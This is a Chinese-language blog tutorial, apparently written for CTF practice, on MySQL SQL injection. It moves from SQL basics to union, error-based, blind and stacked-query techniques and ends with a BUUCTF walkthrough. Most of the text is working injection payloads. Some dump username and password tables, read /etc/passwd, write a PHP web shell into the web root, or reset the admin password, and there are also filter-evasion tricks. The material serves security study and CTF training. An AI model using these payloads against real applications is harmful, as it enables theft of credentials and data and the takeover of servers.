mysql注入

sql注入:

CTF·Web基础 | PureStream & Marblue

【超详细版】SQL注入原理及思路绕过(看这篇就够了)-CSDN博客

SQL 注入 – Hello CTF

成因:

web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

sql语句是什么:

一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)。

关于库(SCHEMA),表(TABLE),列 (Column),以及行:

简单来说就是数据存储的结构,直接举例吧:

数据库:school
 └── 表:students
   ├── 列:id | name | age | email
   ├── 行1:1 | 张三 | 18 | zhangsan@example.com
   └── 行2:2 | 李四 | 19 | lisi@example.com

mysql基本语法:

--和#:注释

/* ... */:多行注释 

;:语句分隔符,可用于堆叠多条指令

||:|| 在 MySQL 默认模式下是逻辑 OR,不是字符串拼接,需开启 PIPES_AS_CONCAT

SELECT:查询
格式:
      SELECT [DISTINCT] column1, column2, ...
      FROM table_name
      [WHERE condition]
      [GROUP BY column(s)]
      [HAVING group_condition]
      [ORDER BY column(s) [ASC|DESC]]
      [LIMIT number];
参数:
SELECT:指定要查询的列,可用 * 代表所有列,也可写具体字段名,支持表达式(如 `name
FROM:指定数据来源表,可包含多个表(JOIN)
WHERE:过滤行(记录),条件为 TRUE 的行才会被返回
GROUP BY:对结果分组,通常与聚合函数(如 COUNT, SUM)一起用
HAVING:过滤分组后的结果,作用于 GROUP BY 之后
ORDER BY:对结果排序,默认升序(ASC),可指定 DESC 降序
LIMIT:限制返回行数,常用于分页(MySQL/PostgreSQL),SQLite 也支持;SQL Server 用 TOP,Oracle 用 ROWNUM

INSERT:插入数据
格式:
INSERT INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...);

UPDATE:更新数据
格式:
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

DELETE:删除数据
格式:
DELETE FROM table_name
WHERE condition;

CREATE TABLE:创建表)
格式:
CREATE TABLE table_name (
    column1 datatype [constraints],
    column2 datatype [constraints],
    ...
);

UNION SELECT和UNION ALL SELECT:用于从其他表中提取数据,要求字段数和类型需匹配原有查询

DATABASE()或SCHEMA():当前数据库名

@@DATADIR():数据库存储数据路径

USER()或CURRENT_USER():当前数据库用户

VERSION():MySQL版本

information_schema.SCHEMATA:列出所有数据库

information_schema.TABLES:列出表
例:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()

information_schema.COLUMNS:列出列
例:SELECT column_name FROM information_schema.columns WHERE table_name='users'

CONCAT(str1, str2, ...):拼接参数求值结果,但每项只返回一行

GROUP_CONCAT(...):类似concat,将多行合并为一行(绕过分页或逐行限制)

SUBSTR()或SUBSTRING():用于从字符串中提取子串
例:SUBSTR(原始字符串, 起始位置, 长度)

MID():等价于 SUBSTR

CHAR():将 ASCII 转为字符(绕过引号)

HEX() / UNHEX():用于十六进制编码与解码,绕过用的

IF(condition, true_val, false_val):如果 condition 为真(非零且非 NULL),返回true_val,否则返回false_val。
例:SELECT IF(1=1, 'Yes', 'No'); -- 'Yes'

CASE WHEN ... THEN ... ELSE ... END:类似ifelse语句
例:CASE
      WHEN condition1 THEN result1
      WHEN condition2 THEN result2
      ...
      ELSE default_result
    END

SLEEP(seconds):时间延迟(用于时间盲注)

LOAD_FILE('/etc/passwd'):读文件

INTO OUTFILE '/var/www/shell.php':写文件

INTO DUMPFILE:写文件

PIPES_AS_CONCAT:将 || 或运算符转换为连接字符,即将||前后求值结果拼接到一起
格式:set sql_mode=PIPES_AS_CONCAT

关于在这使用 ` 而不是 ’ 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。
单引号 ’ 或双引号主要用于 字符串的引用符号
反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号。

简单查询语句:

SELECT * FROM users WHERE username = 'user' AND password = 'password';

利用步骤:

1:判断存在sql注入/寻找注入点:

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点,同时也可判断语句闭合类型

测试位置:URL参数、POST表单、HTTP头(如Cookie、User-Agent)

触发异常:添加单引号'、双引号"、反斜杠还有')等观察是否报错或页面变化

常见测试代码:

?id=1'                   //如果报错表示存在注入
原理:实际执行的是:SELECT * FROM users WHERE username = '1'' AND password = 'password';这样'没能正常闭合报错

?id=1' AND 1=1 #         //页面正常
?id=1' AND 1=2 #         //页面异常(空白或错误)
原理:实际执行的是:SELECT * FROM users WHERE username = '1' AND 1=1 #' AND password = 'password';
以及:SELECT * FROM users WHERE username = '1' AND 1=2 #' AND password = 'password';
前者因为1=1恒返回ture所以正常执行,后者因为1=2恒返回false总是报错

2:提取信息,爆库名表名等:

查询版本:
' AND 1=1 UNION SELECT 1, VERSION() --
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, VERSION(), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --

获取当前数据库名:
DATABASE()
SCHEMA()

列出所有数据库:
' UNION SELECT 1, schema_name FROM information_schema.schemata --

列出当前数据库所有表:
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=DATABASE() --
或指定数据库:
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='mydb' --

列出指定表的列(字段):
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' --
若 UNION 字段数不匹配,先用 ' ORDER BY N -- 确定字段数量。

读取数据:
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users --
合并读取多行数据:
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password) FROM users --
//注:0x3a是冒号“:”的十六进制,避免空格或特殊字符干扰

3:判断注入类型

以下列出常见注入类型,以及判断和利用方法:

1:UNION-based SQL Injection(联合查询注入):

前提:注入点位于 SELECT 查询中,且应用程序会将 SQL 查询结果直接回显到页面

原理:利用 UNION SELECT 将攻击者构造的查询结果合并到原始查询结果中,从而直接读取数据库内容

union select:SQL 中用于合并多个 SELECT 查询结果集的关键字组合。在 SQL 注入(尤其是联合查询注入)中,攻击者常利用它将恶意查询结果“注入”到原始查询的响应中,从而窃取数据库中的敏感信息。但是使用时必须注意两个 SELECT 返回的列数量必须相同,每一列的数据类型应兼容,同时,UNION 默认去重,但UNION ALL 保留重复行。

判断:

先确认字段数/列数:

' ORDER BY 1-- 
' ORDER BY 2-- 
' ORDER BY 3-- 
...   
//直到报错,那么字段数/列数就是报错那段的n-1,比如' ORDER BY 3--报错那字段数/列数就是2   

然后测试回显:

' UNION SELECT 1,2,3--
//如果页面在正常查询数据后显示 1、2、3(或其中某些数字),说明存在 UNION 注入点,且回显了数字的就是回显位,语句中对应数字可以替换成查询语句来提取数据。若数字不显示,尝试字符串,比如'1'替换1

-1' UNION SELECT NULL--
-1' UNION SELECT NULL,NULL--
//也可以这样测试列数,前面用负数那前面的select就不回显数据,只有后面一个select回显,而当出现正常回显或显示额外内容说明列数匹配,然后挨个将NULL替换位数字或字符即可测试出回显位

有回显即可利用

利用:

直接拿数据:

' UNION SELECT 1, DATABASE(), 3--
//获取数据库名

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=DATABASE()--
//读取表名

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--
//读取列名

' UNION SELECT 1, CONCAT(username, 0x3a, password), 3 FROM users--
//提取数据

' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password), 3 FROM users--
//绕过长度限制(使用 GROUP_CONCAT)

load_file可以直接读取文件,如:-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+(需要权限和绝对路径)

2:Error-based SQL Injection(错误注入)

前提:应用程序将数据库错误信息直接显示给用户(如 PHP 开启了错误显示)

原理:利用 MySQL 的报错函数,将想要的数据嵌入到错误消息中返回

判断:

触发一个可控错误:

' AND (SELECT 1 FROM nonexistent_table)--
//若返回类似 Table 'db.nonexistent_table' doesn't exist,说明错误可见。

利用:

updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中
所以构造如下:
' and updatexml(1, concat(0x7e,version()), 3) --+
' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+
//其中0x7e等价于~

FLOOR(RAND(0)*2) + GROUP BY主键重复导致报错
rand(0)*2 可以产生[0,2)之间的随机数
floor()返回小于等于括号内该值的最大整数
floor (rand(0)*2) 可以产生两个确定的数,也就是0和1
group by 分类汇总
count(*) 统计结果的记录数
构造如下:
' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
或
' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
或
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, DATABASE(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)--
//COUNT(*) 是一个聚合函数,用于统计查询结果的行数,在 GROUP BY 查询中,必须至少有一个聚合函数(如 COUNT, MAX, SUM 等),否则语法不合法
//RAND(0) 表示使用种子 0 初始化随机数生成器,因此结果是确定性的,FLOOR(RAND(0)*2) 将 RAND(0) 的结果×2,再向下取整,得到0或1。
//AS x给拼接结果起一个别名x,方便在 GROUP BY 中引用。

extractvalue()函数:MySQL 提供的一个 XML 函数,用于从 XML 文档中提取特定 XPath 表达式匹配的值。格式:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称,第二个参数:xpath_string(xpath格式的字符串)。当xpath_string格式非字符串时报错。这在 SQL 注入(特别是 基于错误的注入)中被广泛用于强制触发包含敏感数据的 XPath 错误,从而泄露信息。
构造如下:
' AND EXTRACTVALUE(1, CONCAT(0x5c, DATABASE()))--+
//0x5c = "",(用于触发 XML 解析错误)

由于报错数据显示有长度限制,所以有时需要截取数据
构造如下:
' and updatexml(1,concat(0x7e,(select userfrom mysql.user limit 0,1)),3) --+
//展示第零条数据
' and updatexml(1,concat(0x7e,(select userfrom mysql.user limit 1,1)),3) --+
//展示第一条数据
' and updatexml(1,concat(0x7e,substr((select group_concat(user) from mysql.user), 1 , 31)),3) --+
//从第一个字符开始截取到第31个字符

如果禁用=可以用like代替,空格用()代替,回显字符数有上限可以用right突破;

3:Boolean-based Blind SQL Injection(布尔盲注)

前提:无数据回显,无错误信息,但页面内容会根据 SQL 条件真假而变化(如“存在/不存在”、“登录成功/失败”)。

原理:通过构造 AND 条件,观察页面差异(布尔响应)来逐位猜解数据。

判断:

' AND 1=1--   //页面正常(如显示商品)
' AND 1=2--   //页面异常(如“无结果”)

利用:

常用函数:
database()      //显示数据库名称
left(a,b)      //从左侧截取a的前b位
substr(a,b,c)     //从b位置开始,截取字符串a的c长度
mid(a,b,c)        //从位置b开始,截取a字符串的c位
length()          //返回字符串的长度
Ascii()           //将某个字符转换为ascii值
char()            //将ASCII码转换为对应的字符

构造:
' AND LENGTH(DATABASE())=5--                        //猜数据库名长度
'and left(database(),1)>'a'--+                     
' AND SUBSTR(DATABASE(),1,1)='s'--                  //猜数据库名首字母
' AND ASCII(SUBSTR(DATABASE(),1,1))=115--           //猜ASCII值(便于自动化)

(ASCII(SUBSTR(database(),{},1))={})
(ASCII(SUBSTR((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema=DATABASE())),{},1))={})
(ASCII(SUBSTR((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name="F1naI1y")),{},1))={})
(ASCII(SUBSTR((SELECT(group_concat(password))FROM(F1naI1y)),{},1))={})

4:Time-based Blind SQL Injection(时间盲注)

前提:无任何回显差异(页面内容和状态码始终相同),但可通过控制数据库响应时间来判断条件真假。

原理:利用 SLEEP()BENCHMARK() 函数制造延迟

判断:

' AND SLEEP(5)--
//如果响应延迟 5 秒以上,说明存在时间盲注

利用:

' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=115, SLEEP(5), 0)--
//跟布尔盲注差不多的构造,只是判断方法更牢一些

5:Stacked Queries(堆叠查询)

前提:数据库驱动支持执行多条 SQL 语句(以 ; 分隔)

原理:略

判断:

'; SELECT SLEEP(5); --
//如果响应延迟5秒以上,说明存在堆叠查询

利用:

'; UPDATE users SET password='hacked' WHERE username='admin'; --
//修改数据

'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; --
//上传木马

'; SELECT LOAD_FILE('/etc/passwd'); --
//读取文件

4:绕过过滤:

1:关键字过滤:

sel<>ect            //<>绕过
sel/**/ect            //**//绕过
也可以试试大小写混合绕过,url编码绕过,16进制编码绕过,ASCII编码绕过
CONCAT('se','lect * from `users`;')利用预编译绕过
       预编译相关语法如下:
    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句
       例:-1';use supersqli;set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare a from @sql;execute a;#

2:逗号过滤:

union select 1,2,3=union select * from (select 1)a join (select 2)b join (select 3)
//join:sql中用于组合多个表的数据的核心语句。它的本质是根据某些条件,把两个(或多个)表的行“拼接”在一起。

对于substr和mid()可以:
substr(str from pos for len)             //在str中从第pos位截取len长的字符
mid(str from pos for len)            //在str中从第pos位截取len长的字符

对于limit:
limit 1(只返回一行) offset 1(跳过第一行)

3、过滤空格:

双空格 
/**/代替
用括号绕过 
用回车代替             //ascii码为chr(13)&chr(10),url编码为%0d%0a
${IFS}或$9IFS

4、过滤等号

用like 、rlike 、regexp和between或者使用< 或者 >代替
LIKE:                SUBSTRING(VERSION(),1,1)LIKE(5)
NOT IN:        SUBSTRING(VERSION(),1,1)NOT IN(4,3)
IN:                SUBSTRING(VERSION(),1,1)IN(4,3)
BETWEEN:           SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

5、过滤大于小于号:

greatest(n1,n2,n3,...)        //返回其中的最大值
strcmp(str1,str2)        //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
in 操作符
between   and        //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

6.等价函数绕过:

hex()、bin() ==> ascii() 
sleep() ==>benchmark() 
concat_ws()==>group_concat() 
mid()、substr() ==> substring() 
@@user ==> user() 
@@datadir ==> datadir() 
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74  
或者: substr((select 'password'),1,1) = 0x70 
strcmp(left('password',1), 0x69) = 1 
strcmp(left('password',1), 0x70) = 0 
strcmp(left('password',1), 0x71) = -1
select==>show
select==>handler:
解释:通过handler语句查询users表的内容
    handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
    handler yunensec read first; #读取指定表/句柄的首行数据
    handler yunensec read next; #读取指定表/句柄的下一行数据
    handler yunensec read next; #读取指定表/句柄的下一行数据

7:符号和字母相互代替

AND:&&
OR:或`
=:LIKE, REGEXP, BETWEEN
>:NOT BETWEEN 0 AND X
WHERE:HAVING

一些神奇思路:

如果select被ban,而且绕不过,可以尝试对本来的表,列进行重命名以利用后端本来就有的select
比如有两个表,一个是words一个是114514,本来的查寻是select * from words where id='',data=‘’,然后flag在114514中,那么可以将words重命名为word1将114514重命名为words再插入id列并且设置默认值,然后将flag列重命名为data,再打1' or 1=1 #就可以了
例:1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- q
利用case when then以及溢出报错爆破:
基本格式:
      CASE 1E0 
        WHEN `password` REGEXP '^m52FPlDxYyLB.eIzAr!8gxh.$' THEN 1E0 
        ELSE ~0E0 + ~0E0 
      END
基本利用:
      SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
      //(这里 ~ 为取反操作符,0 取反即为最大值,再加 1 溢出报错)
regexp,like的区分大小写的使用方法:
      SELECT 'abc' LIKE 'ABC';
      SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
      SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
      SELECT 'abc' LIKE BINARY 'ABC';
综合:
      SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
      SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
综合利用:
      username=1'||case+1E0when`password`regexp'^m52FPlDxYyLB.eIzAr!8gxh.$'then+1E0else~0E0+~0E0end||'0&password=123
在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。
如:where password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于where password=‘xxx’ or 1 
select被ban且可使用堆叠注入时,可以尝试用show代替:
1’;show databases;
1’;show tables;
1’;show columns from FlagHere;
handler命令查询规则:
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read first;handler table_name read next;handler table_name close;
//首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
//首先打开数据库,开始循环读取,读取成功后进行关闭操作。
二次注入:
可能有些sql注入是因为填入的信息存储再调用为sql查询语句导致的,比如广告名作为键查询数据库

例题:

BUUCTF在线评测

用户名输入1,密码输入1’后报错,说明是’闭合,推测为联合查询注入

91069f56-6e73-49fe-ae7d-3bf0733574c4

在密码输入1' order by 4 #时报错而输入1' order by 3 #时不报错,说明前面的查询有3列

1ff39420-fc1b-4771-a116-9f69af0af246

测试回显列如下:

1' union select 1,2,3 #

得到如下回显:

4c685342-76ba-4118-83c6-e8b6d1c5414d

那么回显便在2跟3列

那么直接开始爆库名:

1' UNION SELECT 1,group_concat(DATABASE()), 3 #

a7f52549-f58d-4791-b180-1052745a932f

然后开始爆表名:

' UNION SELECT 1,group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=DATABASE() #

回显如下:

b50083e9-00f9-4a3d-b1ae-1b71e6443f8f

题目是l0ve1ysq1,那么直接查l0ve1ysq1表(先查另外一个也行,试错)

然后爆列名:

1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='l0ve1ysq1' #

12f839cf-44dd-4456-b0f3-3583bd497d8f

然后就是直接开始爆数据了:

1' UNION SELECT 1, group_CONCAT(username,id,password),3 FROM l0ve1ysq1 #

2cc156ec-0343-4d0a-a2bd-b54a99f244d2

得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇